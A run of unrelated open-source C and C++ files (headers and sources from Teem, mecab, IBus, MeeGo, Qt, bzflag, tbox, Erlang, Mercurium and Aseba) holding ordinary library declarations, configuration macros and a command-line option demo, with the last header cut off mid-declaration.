/* Teem: Tools to process and visualize scientific data and images . Copyright (C) 2013, 2012, 2011, 2010, 2009 University of Chicago Copyright (C) 2008, 2007, 2006, 2005 Gordon Kindlmann Copyright (C) 2004, 2003, 2002, 2001, 2000, 1999, 1998 University of Utah This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The terms of redistributing and/or modifying this software also include exceptions to the LGPL that facilitate static linking. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #define MOSS_MAT_SET(mat, a, b, x, c, d, y) \ (mat)[0]=(a); (mat)[1]=(b); (mat)[2]=(x); \ (mat)[3]=(c); (mat)[4]=(d); (mat)[5]=(y) #define MOSS_MAT_COPY(m2, m1) \ (m2)[0] = (m1)[0]; (m2)[1] = (m1)[1]; (m2)[2] = (m1)[2]; \ (m2)[3] = (m1)[3]; (m2)[4] = (m1)[4]; (m2)[5] = (m1)[5] #define MOSS_MAT_6TO9(m2, m1) \ ELL_3V_COPY((m2)+0, (m1)+0); \ ELL_3V_COPY((m2)+3, (m1)+3); \ ELL_3V_SET((m2)+6, 0, 0, 1) #define MOSS_MAT_9TO6(m2, m1) \ MOSS_MAT_SET(m2, (m1)[0], (m1)[1], (m1)[2], (m1)[3], (m1)[4], (m1)[5]) /* methodsMoss.c */ extern int _mossCenter(int center);
/* config.h. Generated from config.h.in by configure. */ /* config.h.in. Generated from configure.in by autoheader. */ /* Define if building universal (internal helper macro) */ /* #undef AC_APPLE_UNIVERSAL_BUILD */ /* Define to 1 if you have the <ctype.h> header file. */ #define HAVE_CTYPE_H 1 /* Define to 1 if you have the <dirent.h> header file. */ #define HAVE_DIRENT_H 1 /* Define to 1 if you have the <dlfcn.h> header file. */ #define HAVE_DLFCN_H 1 /* Define to 1 if you have the <fcntl.h> header file. */ #define HAVE_FCNTL_H 1 /* Define to 1 if you have the `getenv' function. */ #define HAVE_GETENV 1 /* Define to 1 if you have the `getpagesize' function. */ #define HAVE_GETPAGESIZE 1 /* Define if you have the iconv() function and it works. */ #define HAVE_ICONV 1 /* Define to 1 if you have the <inttypes.h> header file. */ #define HAVE_INTTYPES_H 1 /* Define to 1 if you have the <io.h> header file. */ /* #undef HAVE_IO_H */ /* Define to 1 if you have the `iconv' library (-liconv). */ #define HAVE_LIBICONV 1 /* Define to 1 if you have the `pthread' library (-lpthread). */ #define HAVE_LIBPTHREAD 1 /* Define to 1 if you have the <memory.h> header file. */ #define HAVE_MEMORY_H 1 /* Define to 1 if you have a working `mmap' system call. */ #define HAVE_MMAP 1 /* Define to 1 if you have the `opendir' function. */ #define HAVE_OPENDIR 1 /* Define to 1 if you have the <pthread.h> header file. */ #define HAVE_PTHREAD_H 1 /* Define to 1 if you have the `setjmp' function. */ #define HAVE_SETJMP 1 /* Define to 1 if you have the <setjmp.h> header file. */ #define HAVE_SETJMP_H 1 /* Define to 1 if you have the <stdint.h> header file. */ #define HAVE_STDINT_H 1 /* Define to 1 if you have the <stdlib.h> header file. */ #define HAVE_STDLIB_H 1 /* Define to 1 if you have the <strings.h> header file. */ #define HAVE_STRINGS_H 1 /* Define to 1 if you have the <string.h> header file. */ #define HAVE_STRING_H 1 /* Define to 1 if you have the <sys/mman.h> header file. */ #define HAVE_SYS_MMAN_H 1 /* Define to 1 if you have the <sys/stat.h> header file. */ #define HAVE_SYS_STAT_H 1 /* Define to 1 if you have the <sys/times.h> header file. */ #define HAVE_SYS_TIMES_H 1 /* Define to 1 if you have the <sys/types.h> header file. */ #define HAVE_SYS_TYPES_H 1 /* Define to 1 if you have the <unistd.h> header file. */ #define HAVE_UNISTD_H 1 /* Define to 1 if you have the <windows.h> header file. */ /* #undef HAVE_WINDOWS_H */ /* Define as const if the declaration of iconv() needs const. */ #define ICONV_CONST /* Define to the sub-directory in which libtool stores uninstalled libraries. */ #define LT_OBJDIR ".libs/" /* Name of package */ #define PACKAGE "mecab" /* Define to the address where bug reports for this package should be sent. */ #define PACKAGE_BUGREPORT "" /* Define to the full name of this package. */ #define PACKAGE_NAME "" /* Define to the full name and version of this package. */ #define PACKAGE_STRING "" /* Define to the one symbol short name of this package. */ #define PACKAGE_TARNAME "" /* Define to the version of this package. */ #define PACKAGE_VERSION "" /* The size of `char', as computed by sizeof. */ #define SIZEOF_CHAR 1 /* The size of `int', as computed by sizeof. */ #define SIZEOF_INT 4 /* The size of `long', as computed by sizeof. */ #define SIZEOF_LONG 8 /* The size of `long long', as computed by sizeof. */ #define SIZEOF_LONG_LONG 8 /* The size of `short', as computed by sizeof. */ #define SIZEOF_SHORT 2 /* The size of `size_t', as computed by sizeof. */ #define SIZEOF_SIZE_T 8 /* Define to 1 if you have the ANSI C header files. */ #define STDC_HEADERS 1 /* Version number of package */ #define VERSION "0.996" /* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel). */ #if defined AC_APPLE_UNIVERSAL_BUILD # if defined __BIG_ENDIAN__ # define WORDS_BIGENDIAN 1 # endif #else # ifndef WORDS_BIGENDIAN /* # undef WORDS_BIGENDIAN */ # endif #endif /* Define to empty if `const' does not conform to ANSI C. */ /* #undef const */ /* Define to `long int' if <sys/types.h> does not define. */ /* #undef off_t */ /* Define to `unsigned int' if <sys/types.h> does not define. */ /* #undef size_t */
/* -*- mode: C; c-basic-offset: 4; indent-tabs-mode: nil; -*- */ /* vim:set et sts=4: */ /* IBus - The Input Bus * Copyright (C) 2008-2010 Peng Huang <shawn.p.huang@gmail.com> * Copyright (C) 2008-2010 Red Hat, Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. */ #include "ibusattrlist.h" /* functions prototype */ static void ibus_attr_list_destroy (IBusAttrList *attr_list); static gboolean ibus_attr_list_serialize (IBusAttrList *attr_list, GVariantBuilder *builder); static gint ibus_attr_list_deserialize (IBusAttrList *attr_list, GVariant *variant); static gboolean ibus_attr_list_copy (IBusAttrList *dest, const IBusAttrList *src); G_DEFINE_TYPE (IBusAttrList, ibus_attr_list, IBUS_TYPE_SERIALIZABLE) static void ibus_attr_list_class_init (IBusAttrListClass *class) { IBusObjectClass *object_class = IBUS_OBJECT_CLASS (class); IBusSerializableClass *serializable_class = IBUS_SERIALIZABLE_CLASS (class); object_class->destroy = (IBusObjectDestroyFunc) ibus_attr_list_destroy; serializable_class->serialize = (IBusSerializableSerializeFunc) ibus_attr_list_serialize; serializable_class->deserialize = (IBusSerializableDeserializeFunc) ibus_attr_list_deserialize; serializable_class->copy = (IBusSerializableCopyFunc) ibus_attr_list_copy; } static void ibus_attr_list_init (IBusAttrList *attr_list) { attr_list->attributes = g_array_new (TRUE, TRUE, sizeof (IBusAttribute *)); } static void ibus_attr_list_destroy (IBusAttrList *attr_list) { g_assert (IBUS_IS_ATTR_LIST (attr_list)); gint i; for (i = 0;; i++) { IBusAttribute *attr; attr = ibus_attr_list_get (attr_list, i); if (attr == NULL) break; g_object_unref (attr); } g_array_free (attr_list->attributes, TRUE); IBUS_OBJECT_CLASS (ibus_attr_list_parent_class)->destroy ((IBusObject *)attr_list); } static gboolean ibus_attr_list_serialize (IBusAttrList *attr_list, GVariantBuilder *builder) { gboolean retval; guint i; retval = IBUS_SERIALIZABLE_CLASS (ibus_attr_list_parent_class)->serialize ((IBusSerializable *)attr_list, builder); g_return_val_if_fail (retval, FALSE); g_return_val_if_fail (IBUS_IS_ATTR_LIST (attr_list), FALSE); GVariantBuilder array; g_variant_builder_init (&array, G_VARIANT_TYPE ("av")); for (i = 0;; i++) { IBusAttribute *attr; attr = ibus_attr_list_get (attr_list, i); if (attr == NULL) break; g_variant_builder_add (&array, "v", ibus_serializable_serialize ((IBusSerializable *)attr)); } g_variant_builder_add (builder, "av", &array); return TRUE; } static gint ibus_attr_list_deserialize (IBusAttrList *attr_list, GVariant *variant) { gint retval = IBUS_SERIALIZABLE_CLASS (ibus_attr_list_parent_class)->deserialize ((IBusSerializable *)attr_list, variant); g_return_val_if_fail (retval, 0); GVariantIter *iter = NULL; g_variant_get_child (variant, retval++, "av", &iter); GVariant *var; while (g_variant_iter_loop (iter, "v", &var)) { ibus_attr_list_append (attr_list, IBUS_ATTRIBUTE (ibus_serializable_deserialize (var))); } g_variant_iter_free (iter); return retval; } static gboolean ibus_attr_list_copy (IBusAttrList *dest, const IBusAttrList *src) { gboolean retval; retval = IBUS_SERIALIZABLE_CLASS (ibus_attr_list_parent_class)->copy ((IBusSerializable *)dest, (IBusSerializable *)src); g_return_val_if_fail (retval, FALSE); g_return_val_if_fail (IBUS_IS_ATTRIBUTE (dest), FALSE); g_return_val_if_fail (IBUS_IS_ATTRIBUTE (src), FALSE); gint i; for (i = 0; ; i++) { IBusAttribute *attr = ibus_attr_list_get ((IBusAttrList *)src, i); if (attr == NULL) { break; } attr = (IBusAttribute *) ibus_serializable_copy ((IBusSerializable *) attr); if (attr == NULL) { g_warning ("can not copy attribute"); continue; } ibus_attr_list_append (dest, attr); } return TRUE; } IBusAttrList * ibus_attr_list_new () { IBusAttrList *attr_list; attr_list = g_object_new (IBUS_TYPE_ATTR_LIST, NULL); return attr_list; } void ibus_attr_list_append (IBusAttrList *attr_list, IBusAttribute *attr) { g_assert (IBUS_IS_ATTR_LIST (attr_list)); g_assert (IBUS_IS_ATTRIBUTE (attr)); g_object_ref_sink (attr); g_array_append_val (attr_list->attributes, attr); } IBusAttribute * ibus_attr_list_get (IBusAttrList *attr_list, guint index) { g_assert (IBUS_IS_ATTR_LIST (attr_list)); IBusAttribute *attr = NULL; if (index < attr_list->attributes->len) { attr = g_array_index (attr_list->attributes, IBusAttribute *, index); } return attr; }
/*************************************************************************** ** ** Copyright (C) 2010, 2011 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (directui@nokia.com) ** ** This file is part of libmeegotouch. ** ** If you have questions regarding the use of this file, please contact ** Nokia at directui@nokia.com. ** ** This library is free software; you can redistribute it and/or ** modify it under the terms of the GNU Lesser General Public ** License version 2.1 as published by the Free Software Foundation ** and appearing in the file LICENSE.LGPL included in the packaging ** of this file. ** ****************************************************************************/ #ifndef MGRIDITEM_H #define MGRIDITEM_H #include "mwidgetcontroller.h" #include "mgriditemmodel.h" #include <QPixmap> class MGridItemPrivate; /** \class MGridItem \brief MGridItem is a combiner class for displaying thumbnail, title and subTitle, used by MList, MGrid and MPopupList. \ingroup widgets \section MGridItemOverview Overview Using this class it is possible to display one image and two text label. You can set image by id in theme system or QPixmap There are 4 different look of MGridItem MImage, set imageVisible = true, titleVisible = false, subtitleVisible = false MLabel, set imageVisible = false, titleVisible = true, subtitleVisible = false MImage+MLabel, set imageVisible = true, titleVisible = true, subtitleVisible = false MImage+2 MLabel, set imageVisible = true, titleVisible = true, subtitleVisible = true You can change the image alignment to LeftAlign/RightAlign by modify CSS \deprecated Please use MContentItem, MBasicListItem, MAdvancedListItem, MDetailedListItem */ class M_CORE_EXPORT MGridItem: public MWidgetController { Q_OBJECT M_CONTROLLER(MGridItem) public: /** \property MGridItem::image \brief See MGridItemModel::image */ Q_PROPERTY(QString image READ image WRITE setImage) /** \property MGridItem::pixmap \brief pixmap which will be displayed */ Q_PROPERTY(QPixmap pixmap READ pixmap WRITE setPixmap) /** \property MGridItem::title \brief See MGridItemModel::title */ Q_PROPERTY(QString title READ title WRITE setTitle) /** \property MGridItem::subtitle \brief See MGridItemModel::subtitle */ Q_PROPERTY(QString subtitle READ subtitle WRITE setSubtitle) /** \property MGridItem::imageVisible \brief See MGridItemModel::imageVisible */ Q_PROPERTY(bool imageVisible READ isImageVisible WRITE setImageVisible) /** \property MGridItem::titleVisible \brief See MGridItemModel::titleVisible */ Q_PROPERTY(bool titleVisible READ isTitleVisible WRITE setTitleVisible) /** \property MGridItem::subtitleVisible \brief See MGridItemModel::subtitleVisible */ Q_PROPERTY(bool subtitleVisible READ isSubtitleVisible WRITE setSubtitleVisible) public: /** \brief Constructs a GridItem with a \a parent. \param parent Parent object. */ MGridItem(QGraphicsItem *parent = 0); /** \brief Destructor. */ virtual ~MGridItem(); /** \brief Get the image name. \return image id in theme system */ QString image() const; /** \brief Get the thumbnail pixmap \return thumbnail pixmap */ QPixmap pixmap() const; /** \brief Get the title. \return title text string. */ QString title() const; /** \brief Get the subtitle. \return subtitle text string. */ QString subtitle() const; /** \brief Returns true if the image is visible. */ bool isImageVisible() const; /** \brief Returns true if the title is visible. */ bool isTitleVisible() const; /** \brief Returns true if the subtitle is visible. */ bool isSubtitleVisible() const; /** \brief set GridItem be selected Override the base function in QGraphicsItem */ void setSelected(bool selected); public Q_SLOTS: /** \brief Sets image id \param id the image id in theme system */ void setImage(const QString &id); /** \brief Sets thumbnail pixmap \param pixmap QPixmap */ void setPixmap(const QPixmap &pixmap); /** \brief Set title text. \param text text. */ void setTitle(const QString &text); /** \brief Set subtitle text. \param text text. */ void setSubtitle(const QString &text); /** \brief Set the visibility of the image. */ void setImageVisible(bool); /** \brief Set the visibility of the title. */ void setTitleVisible(bool); /** \brief Set the visibility of the subtitle. */ void setSubtitleVisible(bool); Q_SIGNALS: /** \brief This signal is emitted when the pixmap is changed */ void pixmapChanged(); protected: //! \internal MGridItem(MGridItemPrivate *dd, MGridItemModel *model, QGraphicsItem *parent); //! \internal_end private: Q_DISABLE_COPY(MGridItem) Q_DECLARE_PRIVATE(MGridItem) friend class Ut_MGridItem; friend class MGridItemView; }; #endif
/**************************************************************************** ** ** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** This file is part of the Qt Mobility Components. ** ** $QT_BEGIN_LICENSE:LGPL$ ** GNU Lesser General Public License Usage ** This file may be used under the terms of the GNU Lesser General Public ** License version 2.1 as published by the Free Software Foundation and ** appearing in the file LICENSE.LGPL included in the packaging of this ** file. Please review the following information to ensure the GNU Lesser ** General Public License version 2.1 requirements will be met: ** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU General ** Public License version 3.0 as published by the Free Software Foundation ** and appearing in the file LICENSE.GPL included in the packaging of this ** file. Please review the following information to ensure the GNU General ** Public License version 3.0 requirements will be met: ** http://www.gnu.org/copyleft/gpl.html. ** ** Other Usage ** Alternatively, this file may be used in accordance with the terms and ** conditions contained in a signed written agreement between you and Nokia. ** ** ** ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #ifndef NEARFIELDTARGETFACTORY_H_ #define NEARFIELDTARGETFACTORY_H_ #include <qnearfieldtarget.h> #include "nearfieldndeftarget_symbian.h" #include "nearfieldtag_symbian.h" #include "debug.h" class MNfcTag; class RNfcServer; QTM_USE_NAMESPACE class TNearFieldTargetFactory { public: static QNearFieldTarget * CreateTargetL(MNfcTag * aNfcTag, RNfcServer& aNfcServer, QObject * aParent); private: static CNearFieldNdefTarget * WrapNdefAccessL(MNfcTag * aNfcTag, RNfcServer& aNfcServer, CNearFieldTag * aTarget); static QNearFieldTarget::AccessMethods ConnectionMode2AccessMethods(MNfcTag * aNfcTag); template <typename CTAGCONNECTION, typename QTAGTYPE> static QNearFieldTarget * CreateTagTypeL(MNfcTag * aNfcTag, RNfcServer& aNfcServer, QObject * aParent); }; #endif /* NEARFIELDTARGETFACTORY_H */
/* bzflag * Copyright (c) 1993-2016 Tim Riker * * This package is free software; you can redistribute it and/or * modify it under the terms of the license found in the file * named COPYING that should have accompanied this file. * * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ /* Teleporter: * Encapsulates a box in the game environment. */ #ifndef BZF_TELEPORTER_H #define BZF_TELEPORTER_H #include "common.h" #include <string> #include "Obstacle.h" #include "MeshFace.h" class Teleporter : public Obstacle { public: Teleporter(); Teleporter(const float* pos, float rotation, float width, float breadth, float height, float borderSize = 1.0f, bool horizontal = false, bool drive = false, bool shoot = false, bool ricochet = false); ~Teleporter(); Obstacle* copyWithTransform(const MeshTransform&) const; void setName(const std::string& name); const std::string& getName() const; const char* getType() const; static const char* getClassName(); // const float getBorder() const; bool isHorizontal() const; bool isValid() const; float intersect(const Ray&) const; void getNormal(const float* p, float* n) const; bool inCylinder(const float* p, float radius, float height) const; bool inBox(const float* p, float angle, float halfWidth, float halfBreadth, float height) const; bool inMovingBox(const float* oldP, float oldAngle, const float *newP, float newAngle, float halfWidth, float halfBreadth, float height) const; bool isCrossing(const float* p, float angle, float halfWidth, float halfBreadth, float height, float* plane) const; bool getHitNormal( const float* pos1, float azimuth1, const float* pos2, float azimuth2, float halfWidth, float halfBreadth, float height, float* normal) const; float isTeleported(const Ray&, int& face) const; float getProximity(const float* p, float radius) const; bool hasCrossed(const float* p1, const float* p2, int& face) const; void getPointWRT(const Teleporter& t2, int face1, int face2, const float* pIn, const float* dIn, float aIn, float* pOut, float* dOut, float* aOut) const; void makeLinks(); const MeshFace* getBackLink() const; const MeshFace* getFrontLink() const; int packSize() const; void *pack(void*) const; const void *unpack(const void*); void print(std::ostream& out, const std::string& indent) const; void printOBJ(std::ostream& out, const std::string& indent) const; std::string userTextures[1]; private: void finalize(); private: static const char* typeName; std::string name; float border; bool horizontal; float origSize[3]; MeshFace* backLink; MeshFace* frontLink; float fvertices[4][3]; // front vertices float bvertices[4][3]; // back vertices float texcoords[4][2]; // shared texture coordinates }; // // Teleporter // inline float Teleporter::getBorder() const { return border; } inline bool Teleporter::isHorizontal() const { return horizontal; } inline const MeshFace* Teleporter::getBackLink() const { return backLink; } inline const MeshFace* Teleporter::getFrontLink() const { return frontLink; } inline const std::string& Teleporter::getName() const { return name; } inline void Teleporter::setName(const std::string& _name) { name = _name; return; } #endif // BZF_TELEPORTER_H // Local Variables: *** // mode:C++ *** // tab-width: 8 *** // c-basic-offset: 2 *** // indent-tabs-mode: t *** // End: *** // ex: shiftwidth=2 tabstop=8
/**************************************************************************** ** ** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). ** Contact: http://www.qt-project.org/legal ** ** This file is part of the QtCore module of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Digia. For licensing terms and ** conditions see http://qt.digia.com/licensing. For further information ** use the contact form at http://qt.digia.com/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Digia gives you certain additional ** rights. These rights are described in the Digia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3.0 as published by the Free Software ** Foundation and appearing in the file LICENSE.GPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU General Public License version 3.0 requirements will be ** met: http://www.gnu.org/copyleft/gpl.html. ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #ifndef QBYTEARRAYMATCHER_H #define QBYTEARRAYMATCHER_H #include <QtCore/qbytearray.h> QT_BEGIN_HEADER QT_BEGIN_NAMESPACE QT_MODULE(Core) class QByteArrayMatcherPrivate; class Q_CORE_EXPORT QByteArrayMatcher { public: QByteArrayMatcher(); explicit QByteArrayMatcher(const QByteArray &pattern); explicit QByteArrayMatcher(const char *pattern, int length); QByteArrayMatcher(const QByteArrayMatcher &other); ~QByteArrayMatcher(); QByteArrayMatcher &operator=(const QByteArrayMatcher &other); void setPattern(const QByteArray &pattern); int indexIn(const QByteArray &ba, int from = 0) const; int indexIn(const char *str, int len, int from = 0) const; inline QByteArray pattern() const { if (q_pattern.isNull()) return QByteArray(reinterpret_cast<const char*>(p.p), p.l); return q_pattern; } private: QByteArrayMatcherPrivate *d; QByteArray q_pattern; #ifdef Q_CC_RVCT // explicitely allow anonymous unions for RVCT to prevent compiler warnings #pragma anon_unions #endif union { uint dummy[256]; struct { uchar q_skiptable[256]; const uchar *p; int l; } p; }; }; QT_END_NAMESPACE QT_END_HEADER #endif // QBYTEARRAYMATCHER_H
/* ////////////////////////////////////////////////////////////////////////////////////// * includes */ #include "../demo.h" /* ////////////////////////////////////////////////////////////////////////////////////// * globals */ static tb_option_item_t g_options[] = { { '-' , "demo" , TB_OPTION_MODE_VAL , TB_OPTION_TYPE_CSTR , "the demo:\n" " demo0: the demo test0\n" " demo1: the demo test1\n" " demo2: the demo test2\n" " demo3: the demo test3\n" } , {'-', "lower", TB_OPTION_MODE_KEY, TB_OPTION_TYPE_BOOL, "display lower string"} , {'-', "upper", TB_OPTION_MODE_KEY, TB_OPTION_TYPE_BOOL, "display upper string"} , {'i', "integer", TB_OPTION_MODE_KEY_VAL, TB_OPTION_TYPE_INTEGER, "display integer value"} , {'f', "float", TB_OPTION_MODE_KEY_VAL, TB_OPTION_TYPE_FLOAT, "display float value"} , {'b', "boolean", TB_OPTION_MODE_KEY_VAL, TB_OPTION_TYPE_BOOL, "display boolean value"} , {'s', "string", TB_OPTION_MODE_KEY_VAL, TB_OPTION_TYPE_CSTR, "display string value"} , {'h', "help", TB_OPTION_MODE_KEY, TB_OPTION_TYPE_BOOL, "display this help and exit"} , {'v', "version", TB_OPTION_MODE_KEY, TB_OPTION_TYPE_BOOL, "output version information and exit"} , {'-', "file0", TB_OPTION_MODE_VAL, TB_OPTION_TYPE_CSTR, "the file0 path"} , {'-', "file1", TB_OPTION_MODE_VAL, TB_OPTION_TYPE_CSTR, "the file1 path"} , {'-', tb_null, TB_OPTION_MODE_MORE, TB_OPTION_TYPE_NONE, tb_null} }; /* ////////////////////////////////////////////////////////////////////////////////////// * main */ tb_int_t tb_demo_utils_option_main(tb_int_t argc, tb_char_t** argv) { // init option tb_option_ref_t option = tb_option_init("option", "the option command test demo", g_options); if (option) { // done option if (tb_option_done(option, argc - 1, &argv[1])) { // done dump tb_option_dump(option); // done help if (tb_option_find(option, "help")) tb_option_help(option); #ifdef TB_CONFIG_INFO_HAVE_VERSION // done version else if (tb_option_find(option, "version")) { tb_version_t const* version = tb_version(); if (version) tb_trace_i("version: tbox-v%u.%u.%u.%llu", version->major, version->minor, version->alter, version->build); } #endif else { // done integer if (tb_option_find(option, "i")) tb_trace_i("integer: %lld", tb_option_item_sint64(option, "i")); // done string if (tb_option_find(option, "s")) tb_trace_i("string: %s", tb_option_item_cstr(option, "s")); #ifdef TB_CONFIG_TYPE_HAVE_FLOAT // done float if (tb_option_find(option, "f")) tb_trace_i("float: %f", tb_option_item_float(option, "f")); #endif // done boolean if (tb_option_find(option, "b")) tb_trace_i("boolean: %s", tb_option_item_bool(option, "b")? "y" : "n"); // done demo if (tb_option_find(option, "demo")) tb_trace_i("demo: %s", tb_option_item_cstr(option, "demo")); // done file0 if (tb_option_find(option, "file0")) tb_trace_i("file0: %s", tb_option_item_cstr(option, "file0")); // done file1 if (tb_option_find(option, "file1")) tb_trace_i("file1: %s", tb_option_item_cstr(option, "file1")); // done more tb_size_t more = 0; while (1) { tb_char_t name[64] = {0}; tb_snprintf(name, 63, "more%lu", more++); if (tb_option_find(option, name)) tb_trace_i("%s: %s", name, tb_option_item_cstr(option, name)); else break; } } } else tb_option_help(option); // exit option tb_option_exit(option); } return 0; }
/* * %CopyrightBegin% * * Copyright Ericsson AB 2008-2009. All Rights Reserved. * * The contents of this file are subject to the Erlang Public License, * Version 1.1, (the "License"); you may not use this file except in * compliance with the License. You should have received a copy of the * Erlang Public License along with this software. If not, it can be * retrieved online at http://www.erlang.org/. * * Software distributed under the License is distributed on an "AS IS" * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See * the License for the specific language governing rights and limitations * under the License. * * %CopyrightEnd% */ /* * Module: safe_string.h * * This is an interface to a bunch of generic string operation * that are safe regarding buffer overflow. * * All string functions terminate the process with an error message * on buffer overflow. */ #include <stdio.h> #include <stdarg.h> /* Like vsnprintf() */ int vsn_printf(char* dst, size_t size, const char* format, va_list args); /* Like snprintf() */ int sn_printf(char* dst, size_t size, const char* format, ...); /* Like strncpy() * Returns length of copied string. */ int strn_cpy(char* dst, size_t size, const char* src); /* Almost like strncat() * size is sizeof entire dst buffer. * Returns length of resulting string. */ int strn_cat(char* dst, size_t size, const char* src); /* Combination of strncat() and snprintf() * size is sizeof entire dst buffer. * Returns length of resulting string. */ int strn_catf(char* dst, size_t size, const char* format, ...); /* Simular to strstr() but search size bytes of haystack * without regard to '\0' characters. */ char* find_str(const char* haystack, int size, const char* needle); #ifndef HAVE_MEMMOVE void* memmove(void *dest, const void *src, size_t n); #endif
/*-------------------------------------------------------------------- (C) Copyright 2006-2012 Barcelona Supercomputing Center Centro Nacional de Supercomputacion This file is part of Mercurium C/C++ source-to-source compiler. See AUTHORS file in the top level directory for information regarding developers and contributors. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. Mercurium C/C++ source-to-source compiler is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Mercurium C/C++ source-to-source compiler; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. --------------------------------------------------------------------*/ #ifndef CXX_INSTANTIATION_H #define CXX_INSTANTIATION_H #include "libmcxx-common.h" #include "cxx-macros.h" #include "cxx-scope-decls.h" #include "cxx-nodecl-decls.h" MCXX_BEGIN_DECLS LIBMCXX_EXTERN char template_class_needs_to_be_instantiated(scope_entry_t* entry); LIBMCXX_EXTERN void instantiate_template_class_if_needed(scope_entry_t* entry, decl_context_t decl_context, const locus_t* locus); LIBMCXX_EXTERN void instantiate_template_class_if_possible(scope_entry_t* entry, decl_context_t decl_context, const locus_t* locus); LIBMCXX_EXTERN AST instantiate_tree(AST orig_tree, decl_context_t context_of_being_instantiated); LIBMCXX_EXTERN void instantiation_init(void); LIBMCXX_EXTERN nodecl_t instantiation_instantiate_pending_functions(void); LIBMCXX_EXTERN void instantiation_add_symbol_to_instantiate(scope_entry_t* entry, const locus_t* locus); MCXX_END_DECLS #endif // CXX_INSTANTIATION_H
/* Aseba - an event-based framework for distributed robot control Copyright (C) 2007--2016: Stephane Magnenat <stephane at magnenat dot net> (http://stephane.magnenat.net) and other contributors, see authors.txt for details This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef AESL_EDITOR_H #define AESL_EDITOR_H #include <QSyntaxHighlighter> #include <QWidget> #include <QHash> #include <QTextCharFormat> #include <QTextBlockUserData> #include <QTextEdit> #include <QCompleter> #include <QRegExp> class QTextDocument; namespace Aseba { /** \addtogroup studio */ /*@{*/ class AeslEditor; class AeslHighlighter : public QSyntaxHighlighter { Q_OBJECT public: AeslHighlighter(AeslEditor *editor, QTextDocument *parent = 0); protected: void highlightBlock(const QString &text); private: struct HighlightingRule { QRegExp pattern; QTextCharFormat format; }; QVector<HighlightingRule> highlightingRules; struct CommentBlockRule { QRegExp begin; QRegExp end; QTextCharFormat format; }; // For multi-lines comments CommentBlockRule commentBlockRules; enum BlockState { STATE_DEFAULT=-1, // Qt default NO_COMMENT=0, // Normal block COMMENT, // Block with multilines comments }; AeslEditor *editor; }; struct AeslEditorUserData : public QTextBlockUserData { QMap<QString, QVariant> properties; AeslEditorUserData(const QString &property, const QVariant &value = QVariant()) { properties.insert(property, value); } virtual ~AeslEditorUserData() { } }; class AeslEditorSidebar : public QWidget { Q_OBJECT public: AeslEditorSidebar(AeslEditor* editor); virtual QSize sizeHint() const; public slots: virtual void scroll(int verticalScroll); protected: virtual void paintEvent(QPaintEvent *event); virtual void mousePressEvent(QMouseEvent *event) {QWidget::mousePressEvent(event);} virtual int idealWidth() const = 0; int posToLineNumber(int y); protected: AeslEditor* editor; QSize currentSizeHint; int verticalScroll; }; class AeslLineNumberSidebar : public AeslEditorSidebar { Q_OBJECT public: AeslLineNumberSidebar(AeslEditor* editor); public slots: void showLineNumbers(bool state); protected: virtual void 